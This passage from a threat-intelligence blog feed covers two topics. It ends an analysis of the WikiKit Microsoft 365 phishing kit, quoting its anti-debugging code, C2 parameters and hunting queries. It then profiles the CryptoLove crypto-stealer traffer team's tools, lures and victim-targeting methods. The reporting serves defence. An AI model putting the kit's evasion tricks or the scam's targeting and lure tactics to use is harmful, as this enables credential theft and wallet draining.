user interface by the hideOption() function. This ensures that the user is only presented with the default method.</p><p>The code uses a few checks with regular expressions to detect if the environment or the code itself is being tampered by debugging tools, injected scripts, or instrumentation. The self-validation check and console tampering are also present:</p><ul><li>const _0x55de0f = new RegExp(‘function *\\( *\\)’);<br>The regex looks for function definitions in a specific format: function() { … } or function () { … } . Debugging tools sometimes introduce extra code into the environment, for example function() { debugger; }.</li><li>const _0x1da82d = new RegExp(‘\\+\\+ *(?:[a-zA-Z_$][0–9a-zA-Z_$]*)’, ‘i’);<br>This regex looks for increment operations on variable names (++variableName). Debugging tools might loop through objects or properties by incrementing variables, for example:</li></ul><pre>let counter = 0;<br>while (counter &lt; 100) {<br>  ++counter;<br>}</pre><ul><li>The test method applies the two regular expressions to the result of _0x47c7e9 concatenated with strings like chain or input. If either of the checks fails, the code calls _0x47c7e9(&#39;0&#39;), which is likely a method to disrupt or halt execution. Otherwise, it invokes _0x5e3e02(), which will continue further validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*Fb3RioySYWr3RcDOleMgGw.png" /><figcaption>test method and the first two checks</figcaption></figure><ul><li>Inside _0x5152d1(), if the input parameter _0x1001fa is of type string, it creates a new function containing an infinite loop (while (true) {}) using JavaScript&#39;s constructor mechanism. This prevents against debuggers that may inject string-type data during runtime or tamper with the execution flow.</li></ul><pre>  function _0x5152d1(_0x1001fa) {<br>    if (typeof _0x1001fa === &#39;string&#39;) {<br>      return function (_0x1599e0) {}<br>        .constructor(&#39;while (true) {}&#39;)<br>        .apply(&#39;counter&#39;)</pre><ul><li>If _0x1001fa is not a string, the function performs a mathematical operation (_0x1001fa / _0x1001fa) to detect anomalies. Under normal circumstances, this operation should return 1 because any number divided by itself equals 1. However, if tampering has occurred or if _0x1001fa is an unexpected value (such as 0 or a non-numeric input), the result could be NaN (Not-a-Number).</li></ul><pre>{<br>      ;(&#39;&#39; + _0x1001fa / _0x1001fa).length !== 1 || _0x1001fa % 20 === 0<br>        ? function () {<br>            return true<br>          }</pre><ul><li>_0x1001fa % 20 === 0 might also be a part of the debugger check: the condition checks whether the input value _0x1001fa is divisible by 20. If true, the script assumes the input might be part of a debugger’s repetitive loop or automated process. Debuggers sometimes loop through numbers or variables systematically to analyze program behavior.</li></ul><p>So, the debugger statement would trigger whenever the script detects anomalies or tampering through these checks mentioned above. The debugger statement is sometimes used in scripts to frustrate analysis. For example, it can disrupt debugging by forcing the debugger to pause repeatedly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*X-EDFINe-Gk5FvLsGZKgcg.png" /><figcaption>Debugger statement</figcaption></figure><ul><li>Function _0x2af670<strong> </strong>manipulates the browser’s console object by iterating through common logging methods (log, warn, info, error, exception, table and trace) and replacing them with a placeholder function (no-op). This disables the ability to log messages, warnings, or errors to the console, preventing analysts from using browser developer tools to analyze the script&#39;s behavior.</li></ul><p>The variables such as unReq, unEm, pwdReq, unPw, unCode, unSms, and emCode in the code snippet are used to store Base64-encoded images or icons. Each represents an image displayed on the webpage under specific error conditions.</p><p>The table that describes the input validation (captures user input) and error handling.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/34237d64495e5c12c2997cb1e0671ac6/href">https://medium.com/media/34237d64495e5c12c2997cb1e0671ac6/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iIOvZadgPUTUNjH7gwIj7g.png" /><figcaption>The variables storing the base64-encoded images</figcaption></figure><p>WikiKit adjusts the authentication method based on the user’s configuration. Three primary methods (PhoneAppNotification, PhoneAppOTP, and OneWaySMS) refer to different authentication workflows that correspond to multi-factor authentication (MFA) mechanisms.</p><p>Each method sends specific parameters to the C2 server (auth=verify_app, auth=verify_code, or auth=verify_sms) along with other parameters like the entered email address (em) and verification code (code).</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ef60658d354c26d8010bcf0cf5b288c0/href">https://medium.com/media/ef60658d354c26d8010bcf0cf5b288c0/href</a></iframe><p>If authentication is successful, the user is redirected to outlook.office365.com/Encryption/ErrorPage.aspx?src=0&amp;code=10&amp;be=DM8PR09MB6088&amp;fe=1.</p><p>The recent campaign (December 2024) has been using the same URL (yugaljeeautomotive[.]com/z/pro/mentanance/auth) for the credential harvesting page. You can view the IOCs in the Indicators of Compromise section.</p><h4>Threat Hunting</h4><ul><li>Look for the outbound connections to the remote URL containing “.jimdosite” and inspect the URL for the patterns described in this blog.</li><li>Look for outbound connections to outlook.office365.com/Encryption/ErrorPage.aspx?src=0&amp;code=10&amp;be=DM8PR09MB6088&amp;fe=1, which indicates that the user has entered the valid credentials.</li><li>ANY.RUN Threat Intelligence queries:<br>domainName:&quot;yugaljeeautomotive.com&quot; OR domainName:&quot;app.salesforceiq.com&quot;</li><li>If you use <a href="https://pro.urlscan.io/search?query=page.url.keyword%3A%2F(https%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FCategory%3AOffice_365%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FList_of_Microsoft_365_Applications%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FInternet_Explorer_11%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FWindows_Server_2019%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FEmail%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FEmail_client%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FMicrosoft_365%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FClient_access_license%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FWindows_Server_2016%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FMicrosoft_Exchange_Server%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FList_of_Microsoft_365_Applications%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FMicrosoft_Office_Mix%7Chttps%3A%5C%2F%5C%2Fen%5C.wikipedia%5C.org%5C%2Fwiki%5C%2FCategory%3AOffice_365)%2F">URLScan Pro</a>, use the following query and check the Redirected from field. This can help identify WikiKit credential harvester domains:</li></ul><pre>page.url.keyword:/(https:\/\/en\.wikipedia\.org\/wiki\/Category:Office_365|https:\/\/en\.wikipedia\.org\/wiki\/List_of_Microsoft_365_Applications|https:\/\/en\.wikipedia\.org\/wiki\/Internet_Explorer_11|https:\/\/en\.wikipedia\.org\/wiki\/Windows_Server_2019|https:\/\/en\.wikipedia\.org\/wiki\/Email|https:\/\/en\.wikipedia\.org\/wiki\/Email_client|https:\/\/en\.wikipedia\.org\/wiki\/Microsoft_365|https:\/\/en\.wikipedia\.org\/wiki\/Client_access_license|https:\/\/en\.wikipedia\.org\/wiki\/Windows_Server_2016|https:\/\/en\.wikipedia\.org\/wiki\/Microsoft_Exchange_Server|https:\/\/en\.wikipedia\.org\/wiki\/List_of_Microsoft_365_Applications|https:\/\/en\.wikipedia\.org\/wiki\/Microsoft_Office_Mix|https:\/\/en\.wikipedia\.org\/wiki\/Category:Office_365)/</pre><ul><li>Credits to <a href="https://infosec.exchange/@rmceoin">@rmceoin</a> for the following URLScan query:</li></ul><pre>content.globalNames:&quot;onloadTurnstileCallback&quot; AND page.title:(&quot;Verify your account&quot; OR &quot;Verify your identity&quot; OR &quot;Verify your credentials&quot; OR &quot;Verify your informations&quot; OR &quot;Verify your email&quot; OR &quot;Verify your login&quot; OR &quot;Confirm your account&quot; OR &quot;Confirm your identity&quot; OR &quot;Confirm your credentials&quot; OR &quot;Confirm your information&quot; OR &quot;Confirm your email&quot; OR &quot;Confirm your login&quot; OR &quot;Signin to your account&quot;) </pre><ul><li>If you are a <a href="https://www.virustotal.com/gui/search/entity%253Aurl%2520and%2520(redirects_to%253A%2522https%253A%252F%252Fhref.li%252F%253Fhttps%253A%252F%252Fen.wikipedia.org%252Fwiki%252F*%2522)/urls">VirusTotal Enterprise</a> user, the following query can be used to detect WikiKit credential harvesters:</li></ul><pre>entity:url and (redirects_to:&quot;https://href.li/?https://en.wikipedia.org/wiki/*&quot;)`</pre><ul><li>For Validin, the following query can be used to detect WikiKit credential harvesters:</li></ul><pre>https://href.li/?https://en.wikipedia.org/wiki/*</pre><h4>Indicators of Compromise</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abdea71ba094" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hearts Stolen, Wallets Emptied: Insights into CryptoLove Traffer’s Team]]></title>
            <link>https://medium.com/@malbearlabs/hearts-stolen-wallets-emptied-insights-into-cryptolove-traffers-team-3f65e84ccebe?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f65e84ccebe</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 22:10:17 GMT</pubDate>
            <atom:updated>2025-09-12T00:59:30.953Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5muOl5qJyPmTKzHwDwpGgw.png" /></figure><p>This blog was written in collaboration with <a href="https://x.com/g0njxa">@g0njxa</a> ❤ Together, we will explore the CryptoLove traffer’s team and look into their methods of operation.</p><h3>Key Takeaways</h3><ul><li>CryptoLove is a traffer’s group specializing in crypto scams for over two years, recruiting workers to spread stealers through custom launchers and loaders that can track every stage of payload delivery.</li><li>CryptoLove has a hierarchical structure with roles like developers, mentors, and profit handlers.</li><li>Workers aren’t allowed to scam in CIS countries or sell logs.</li><li>Tools provided include 3+ stealers like LummaC2, StealC, and Rhadamanthys for Windows and AMOS Stealer for MacOS.</li><li>Workers use Discord, Telegram, and even alternative platforms like Bluesky to find victims.</li><li>To appear credible, workers purchase verified social media accounts (e.g., Twitter with blue checkmarks starting at $15).</li><li>Affiliates of CryptoLove operate dedicated landing pages often disguised as gaming platforms, PDF readers, or messaging and meeting software platforms.</li><li>Affiliates leverage fake NFT collections, job listings, and even fake tokens to establish trust and manipulate victims into running the launchers.</li><li>Over 22,000 unique IP logs have been recorded, with workers receiving payouts from funds stolen worldwide.</li></ul><h3>Case Study</h3><p>The name CryptoLove might suggest a dating app, but it’s actually a traffer’s group that’s been operating for over two years and specializing in crypto scams. They are actively recruiting individuals to spread stealers through custom-written launchers, using various methods, including scams, to achieve their goals.</p><p>The CryptoLove team provides numerous affiliates for each worker that we will cover in this blog post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*uMx40x4z5zlbaufb5ldr2g.png" /><figcaption>Ad poster on hacking forum</figcaption></figure><p>There are a few rules that the group has mentioned:</p><ul><li>They don’t work in CIS countries</li><li>They don’t sell logs</li><li>AFK/Toxic/Unstable behavior is prohibited</li></ul><p>Tools that are offered:</p><ul><li>3+ stealers (these are usually LummaC2, StealC and Rhadamanthys stealers)</li><li>Automatic withdrawals from victims’ cryptowallets (starting from $100, no fees to <em>workers</em>)</li><li>MacOS stealer for victims that don’t use Windows OS</li></ul><p>Payouts:</p><ul><li>Payouts range from 50% to 65%, depending on the affiliate. Top performers receive an increased percentage.</li></ul><p>The top amount of payouts the users made are shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Fyuk2oTldh93IPfTSF0ubQ.png" /><figcaption>Top payouts</figcaption></figure><h3>RTFM</h3><p>In the world of crypto scamming, victims are sometimes referred to as “mammoth” or “hairy; the “hairy” term is likely derived from “mammoth.” These labels are part of the specific jargon used within scamming circles among native Russian speakers. And scammers are called “workers”.</p><h3>So how does it all work?</h3><p>CryptoLove team calls their work NFT Scam, which they define as a type of fraud where the perpetrator gains access to internal files on the victim’s computer by infecting it with a virus.</p><p>After joining the team, users select any branch to work with, as detailed in this blog. Users can opt for several branches at once or focus on those they prefer. Each branch maintains its chat and a landing page featuring social media accounts. Notably, there is a launcher download button on the website itself; activating this launcher initiates the loading of a virus.</p><p>Once a user has selected a branch, they must familiarize themselves with the project. This involves studying the social media platforms, the website, and the available documentation. All relevant links will be provided in the pinned message of the branch’s chat. A key objective for users is to thoroughly understand the core idea of their chosen branch to competently address any questions potential victims might have about the project.</p><p>First of all, the worker needs a social media account where they can talk to the victim. The worker can purchase Twitter, Discord, Gmail, and Instagram accounts from the provided store on Telegram called Alpha Store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*vgztwSu7mBJrikrCTWNj0A.png" /><figcaption>Alpha Store (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*Fl6J_QotlpkDNYafZMaeMA.png" /><figcaption>Alpha store (2)</figcaption></figure><p>The worker chooses what fits their budget at the moment. The most costly is a Twitter account — starting from $15 (with a blue checkmark). A checkmark on Twitter is now mandatory; without it, they can’t write to most victims. For Discord, Telegram, and Instagram, the prices range from $1.</p><p>The examples of Twitter and Discord accounts controlled by workers are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*Okdku37HjL1MaHxVTQGRQQ.png" /><figcaption>Worker’s Twitter account (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*9JJa1GkFklbXnWmSE0hZVw.png" /><figcaption>Worker’s Twitter account (2)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*FJSbmCLj93H8RG41aa6W9w.png" /><figcaption>Worker’s Twitter account (3)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*fBhUStDnpfbptKLXeSqkig.png" /><figcaption>Worker’s Discord account (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*SI75QG_6rsjrX5Dtbh7V4Q.png" /><figcaption>Worker’s Discord account (2)</figcaption></figure><p>The most relevant for scamming activity at the moment are Discord and Twitter. Due to the recent events in November 2024, traffers are aware of the rapid growth of alternative social media such as Bluesky and have started acting towards users of these platforms. BlueSky has emerged as a significant counterpart to the blocked social network X, gaining substantial popularity in Brazil. The platform’s unique appeal stems from its accessibility in a region where network X faces restrictions, attracting a substantial user base, including high-profile influencers who have migrated from network X. According to one of the affiliates, “Yes, it is worth it. I found one of my profitable Brazilian contacts on Bluesky, after which I moved the conversation to Discord”. CryptoLove administration constantly shares with its team affiliates about new scam opportunities following global trends and news.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*7w_JH7dVV5ME0YUJ2tyvJQ.png" /><figcaption>Worker’s Bluesky account (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*Kh7tX0g-jLigfErxDq9Nhw.png" /><figcaption>Worker’s Bluesky account (2)</figcaption></figure><p>It is a common practice to share workers’ accounts between Cryptolove users on Telegram channels to create fake engagement between them and make the accounts even more reliable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZyQjeRpNcGnm74WqX6cTcQ.png" /><figcaption>Worker’s sharing their X and Bluesky accounts and requesting engagement</figcaption></figure><p>After purchasing an account for spamming and setting up the device from which they will be working, their next step is to find a victim with cryptocurrency (a victim from any country except the CIS). Once they find such a victim, they need to start communicating with them, whether the communication style is immediately business-like or casual on any popular topics. The outcome should be the same: their victim must visit the website of their branch and download the launcher. Before sending the victim to download the launcher, they must find their balance so they don’t waste time. The chance that a victim has money without balance verification is like winning the lottery, according to CryptoLove. They have experienced this, having made 2–3 daily logs. After 14 days of unsuccessful work, when they began to ask for the victim’s wallet address, they immediately filtered out the ones without money and did not waste time on them. When they started asking for the victim’s wallet address (for example, for salary purposes), they found themselves a victim with money, got them to download the launcher, and made a profit in 2 days.<br>When their victim downloaded the launcher from the branch’s website (for example, for game testing, signing an employment contract, reviewing the game, getting an ID for verification, etc.), the worker will see a notification in one of the affiliates’ channels about the launcher download from the victim. And they will know by timing that this is their victim. After that, the victim launches the launcher on their device. So, the worker will be informed about all the victim’s actions from the victim’s launcher. A launch notification comes in when the victim launches the launcher on their PC. When the victim presses any button — a notification of the press comes in. The final stage, “File Opened”, is the malware launched on the victim’s PC. This launcher feedback works only for the Windows version. There is no launch notification for MAC OS — the log with data comes immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*KdLl8T8C-04LM8V5I1K93Q.png" /><figcaption>Logs from Windows and MacOS launcher</figcaption></figure><p>With the recent updates as of November 2024, some affiliates have transitioned to using promo codes tied to individual workers. Each worker generates a unique link associated with their account and shares it with the victim. When the victim visits the page, clicks the download button, and executes the launcher, the system notifies the worker, and all logs are attributed to that specific worker.</p><p>So, the file is successfully launched. What now? The victim will receive an error in a few minutes (a special kind of error so that the victim suspects nothing :))</p><p>The worker must tell the victim it’s a temporary error, and the server is overloaded. They will contact the developer of the project and write to them later. Or, at this stage, they can refer to the possibility that the game is blocked in their country and try to find out where the victim is from.</p><p>The data will arrive in the log channel after some time, usually 5–20 minutes. The time depends on the victim’s internet speed, the size of the log, etc.</p><p>The structure of the logs:</p><ul><li>number of passwords (one of the passwords/keys needed to decrypt the files of the victim’s crypto wallet)</li><li>number of cookies</li><li>wallets: number of crypto wallets</li></ul><p>Now, the worker would have to wait while the log handler (log worker) checks the log and extracts the crypto.</p><p>The description of the status on the logs:</p><ul><li>Status “Waiting for verification” — the log is under review.</li><li>Status “Empty” — empty wallet.</li><li>Status “Waiting for proofs” — the worker must send <strong>proofs</strong> to the worker</li></ul><p>The proofs can be the following:</p><ul><li>The victim’s username</li><li>The screenshot shows that the worker is logged into the account from which they wrote to the victim</li><li>Nickname from the bot (bot Cryptolove #….) and the landing page (the website to which the worker directed the victim)</li></ul><p>On Mac OS, the launch is slightly different; the victim would have to:</p><p>1. Open the file.</p><p>2. Right-click on the icon in the center of the opened launcher.</p><p>3. Launch by clicking OK in the pop-up window.</p><p>4. Enter the password.</p><p>The log looks roughly like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*7RpI25Bgpd7eWL4AujZpPQ.png" /><figcaption>Logs from Windows and MacOS launchers</figcaption></figure><p>After the log from the victim arrives, if everything goes well, there is a password and the wallet tags in the log. Then, the worker will see their money leave the victim’s wallet. In the channel, after successfully withdrawing all of the victim&#39;s crypto assets, a message will appear in the worker’s log.</p><p>The CryptoLove team and other affiliates have manuals on social engineering. Usually, the workers use the following methods to engage with the victims:</p><ul><li>Discord communications, the worker looks for Discord channels on DappRadar, a platform that provides insights, analytics, and tracking services for decentralized applications (dApps) and blockchain-based projects. The worker then chooses one of the projects and navigates to their Discord channel. Next, they would message the project’s admins, holders, or users with Nitro subscriptions (since they are more likely to have money) or users with usernames ending in .eth, as their balance can often be checked via zapper.xyz, which is a decentralized finance (DeFi) and Web3 management platform that helps users track, manage, and interact with their crypto assets.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5EHIQk6ongZYkiFPNUaSUw.png" /><figcaption>DappRadar portal</figcaption></figure><p>The workers can also leverage other platforms for Discord communications, for example, just a simple Google search with the terms “new crypto servers on Discord”, YouTube, <a href="https://upcomingnft.net/">Best Upcoming NFT Projects</a>, Coinmarketcap, Coinglass, and many more.</p><ul><li>Telegram communications: the worker searches for “.eth” on Twitter. Pick any account and check their wallets on zapper.xyz. The .eth address from the zapper is then copied CryptoLove DeBank bot or to the DeBank directly to obtain the balance. Besides the “.eth” term, the workers also search for “wallet address” on Twitter. Platforms such as Coinmarketcap and Coinglass can also work for Twitter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*eyupSklG98rvZoHlkDqhvA.png" /><figcaption>Wallet check on zapper.xyz</figcaption></figure><ul><li>Telegram communications: the worker accesses cn.tgstat.com/ru/ratings/chats, which contains the list of Telegram channels. The worker would choose the Crypto channels from the categories and pick the victim to target. Again, Coinmarketcap and Coinglass can also work for Telegram.</li></ul><p>In the past, from August 2023 to October 2023, the CryptoLove bot received notifications about new logs accompanied by screenshots from the victims. The team became highly motivated and creative, even attempting to persuade freelancers on WhatsApp, Skype, or UpWork to download and run the launcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03jHlApdb-EUnfnq8VWYow.png" /><figcaption>The worker lured the victim on UpWork into downloading and running the launcher</figcaption></figure><p>There are also fake job recruitment posts on platforms such as Latium, Freelancer, and Hyve. These posts aim to lure victims into downloading and running launchers or connecting their crypto wallets to fraudulent websites. Ultimately, this gives the perpetrators control over the wallets, intending to drain the funds (Figures 12–14).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*Y8kfCR9DTp2hiKhseYKMxA.png" /><figcaption>Fake job recruitment post on Latium</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WOy70cqj7zenuy7HrAdlyA.png" /><figcaption>Fake job recruitment post on Freelancer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*pDjTPqswPRFFqxgxrhR3kA.png" /><figcaption>Fake job recruitment post on Hyve</figcaption></figure><p>Now we hope you have an idea of how it all works in a nutshell; let’s look at Crypto Love’s affiliates… CryptoLove Cupids or Should We Call It Staff?</p><p>The CryptoLove team comprises a few members who are responsible for the main tasks:</p><ul><li>LanRock (@lanrock_dev) — the developer of for CryptoLove.</li><li>Routine (@RoutineLove3) — the support and “ОТРАБ” for CryptoLove, which means the person responsible for sorting out and parsing the logs. Work 12–16 hours per day.</li><li>SS (@sssmmmnu)—support. SS describes how he became a support for CryptoLove: “It was a very long and difficult journey, a true test of endurance, and of course, I provided substantial help to the workers and the team.”</li><li>Kupidon (@kup1donLove3) — support, joined CryptoLove in 2022.</li><li>Oscar (@magnificent_oscar) — BIG SUPPORT, the owner of Mr. Beast. Oscar has been with the team since 2022 and loves playing GTA at night, cars, and adrenaline. Before joining the scamming industry, he was a construction worker.</li><li>Querteo (@yellowscam) — landing page developer, the owner of SCAMQUERTEO / YELLOW EMPIRE team; one of his projects is ARGON. He brags about the first landing page he created, which had a turnover of about $30,000 in 2–3 months.</li><li>Pink (@PinkorexxLove3) — mentor, previously participated in cold calling (social engineering calls) was brought into the CryptoLove team by her ex-boyfriend who wanted to steal money from her. Before scamming industry, she worked for her parents in the real estate industry and then as a freelance translator. Pink currently lives in Israel.</li><li>Xamster (@sup_xam) — mentor, support. Prior to joining CryptoLove, he participated in airdrops with his previous team and got whitelists (In the context of cryptocurrency, NFTs, or other online projects, whitelists (WL) refer to exclusive pre-approval or access lists that allow individuals to participate in an event or claim rewards). Airdrops in the context of cryptocurrency refer to the distribution of free tokens or coins to users as part of a marketing campaign or blockchain project launch. In the scamming industry, airdrops are fraudulent schemes. Workers promise free cryptocurrency tokens to lure victims into providing sensitive information, such as private keys, or to send a “fee” to claim the fake reward.</li><li>MxDuke (@mrxuyux) — the top profit maker on CryptoLove and the Profit Team owner. The most significant profit was over a year ago, around $55,000. MxDuke says, “When I saw the money starting to move out of the wallet, I was just in shock. While the wallets were being emptied, I smoked half a pack of cigarettes, but then I started feeling nervous, thinking they’d come after me any second. Oscar helped clean the money, though, and after a week, I calmed down — until then, I was a nervous wreck. The target was easy to hook, with just three SMS messages. As for the money, I withdrew a small portion in cash for personal needs, put some into developing “Orbit,” and left the rest sitting in crypto” (Orbit is the landing page or project on Profit Team).</li></ul><p>The messages the workers usually send to the victim would look like the ones shown in the screenshots below.</p><p>Hiring victims into the crypto projects:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mziCzStUgWBfp9LNvmiOCg.png" /><figcaption>Crypto project hire (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*HMCzp5WeS_crXWRWCitSwg.png" /><figcaption>Crypto project hire (2)</figcaption></figure><p>Hiring for beta testing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PksjRCzhPlnwlj3BNir3A.png" /><figcaption>Beta testing hire (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9FpKkj4tKnqn5LOQ29niQ.png" /><figcaption>Beta testing hire (2)</figcaption></figure><h3>CryptoLove Landing Pages and Affiliates</h3><p>Each affiliate has multiple landing pages that users can use for scamming purposes. These landing pages contain the download links for launchers based on the user’s operating system. The landing pages can be anything from fake Zoom installers to PDF Readers. In this section, we will cover some of the landing pages CryptoLove affiliates use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDScZNc1YgkeaBamnA6uTQ.png" /><figcaption>Landing Pages and Affiliates</figcaption></figure><h3>SCAMQUERTEO TEAM or YELLOW EMPIRE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*eH3aZAQdMVwPawtRH_0vDg.gif" /><figcaption>Yellow Empire affiliate banner</figcaption></figure><p>The affiliate has a turnover of 650957.2$.</p><p>This affiliate has had the following landing pages in the past:</p><ul><li>FATO (PDF LAND) — fake PDF reader</li><li>ZOOM LAND</li><li>GOOGLE MEET LAND</li><li>ARGON GAME 2.0 — gaming landing page</li></ul><p><strong>Note: </strong>“LAND” stands for a landing page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c5k9FQJbKKWOFtbPkRRUtg.png" /><figcaption>Fato Reader landing page</figcaption></figure><p>Examples of the download chains are shown below. The data sent to the server includes terms related to crypto wallets, such as “metamask” and “phantom” which suggests a default configuration, as some of the landing pages may contain wallet drainers, which are malicious tools designed to transfer funds from a user’s wallet to a worker’s account without authorization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x2-BwCYSm1tFNHb7gSNV0Q.png" /><figcaption>Payload download chain from the landing page (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9eNLUEuyrJQpk9ZdsHJBbA.png" /><figcaption>Payload download chain from the landing page from the most recent update (2)</figcaption></figure><p>For some landing pages, the user has to generate a personal link to the landing page from one of the Telegram bots, such as the Zoom and Google Meet landing pages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*ZpKzgLEtgLoafl_-hxDodg.png" /><figcaption>Google Meet landing page</figcaption></figure><p>This CryptoLove affiliate also provided a fake Zoom landing page, but at the time of writing this report, the service to this landing has been terminated, along with Google Meet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*3A-YBuzA6TWKXHUTspTdcA.png" /><figcaption>Zoom logs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*76tn3mkC3MQeIsvzqBzXtg.png" /><figcaption>Google Meets logs</figcaption></figure><p>At one point, the Google Meet landing page prompted the victim for permission to access the device’s camera and take a photo. The captured face images have been blurred for privacy purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*qfxks7px4K1gMsYFAnRofA.png" /><figcaption>Victim’s pictures</figcaption></figure><p>In addition to using fake PDF readers, Zoom, and Google Meet landing pages, CryptoLove affiliates, including YELLOW EMPIRE, also employ gaming-themed landing pages such as Argon 2.0, also known as Genom. Workers can lure the victims into being beta testers of the game, for example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQhSpY497PqcSvEzSGYW3A.png" /><figcaption>Argon 2.0</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*96XW5wR2PlxMIz2ZI5QzbQ.png" /><figcaption>Announcement of Argon 2.0</figcaption></figure><p>Translation of Argon 2.0 announcement:</p><blockquote>ARGON 2.0</blockquote><blockquote>We’ve all been waiting for this for so long, and now the day has come! I’m thrilled to present ARGON LAND 2.0 (GENOM).</blockquote><blockquote>What have we done?</blockquote><blockquote>We’ve redesigned the website and changed its functionality. Additionally, a lot of new features have been added, which you’ll see soon.</blockquote><blockquote>What’s coming next?</blockquote><blockquote>As a teaser, I’ll say this: right after ARGON 2.0 is launched, we’ll start working on creating more features. For example:</blockquote><blockquote>- Bot functionality: Bots will handle everything on their own.</blockquote><blockquote>- Launcher development: The launcher for landing pages is already in progress and will be ready soon.</blockquote><blockquote>- Game trailer: The game trailer will also be ready in the coming days.</blockquote><blockquote>Broker Panel</blockquote><blockquote>This event introduces a new tool called the “Broker Panel”. With it, you’ll be able to track your profits, landing pages, social media, and much more. Also, suggestions for additional functionality are welcome!</blockquote><blockquote>Onwards to new profits and adventures!</blockquote><p>Even the name of the Argon project founded by CryptoLove in 2023 is present in the new Genom website as a reminder to CryptoLove workers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*K2-C3hjO_nuzmVTIUEu36A.png" /><figcaption>Genom 2.0 referencing Argon project</figcaption></figure><p>The logs (otstuk) from Genom / Argon 2.0 launchers are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*4s7OIXSUu9JIC3EyGx3jiQ.png" /><figcaption>Genom logs</figcaption></figure><p>The affiliate uses a bot capable of generating and sending fake BNB tokens to the profile created by the user on the Genom/Argon 2.0 platform. The goal is to make the user feel invested and excited enough to run the malicious launcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*jpct731tjE7V3rRRkmmzjw.png" /><figcaption>The account on Genom with fake tokens sent from the affiliate bot</figcaption></figure><p>The affiliates invest significant time in creating these landing pages, managing social media accounts, and promoting them; they even have their own cute NFTs, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9or79DGw9vw_J29WdLH9nw.png" /><figcaption>Linktr 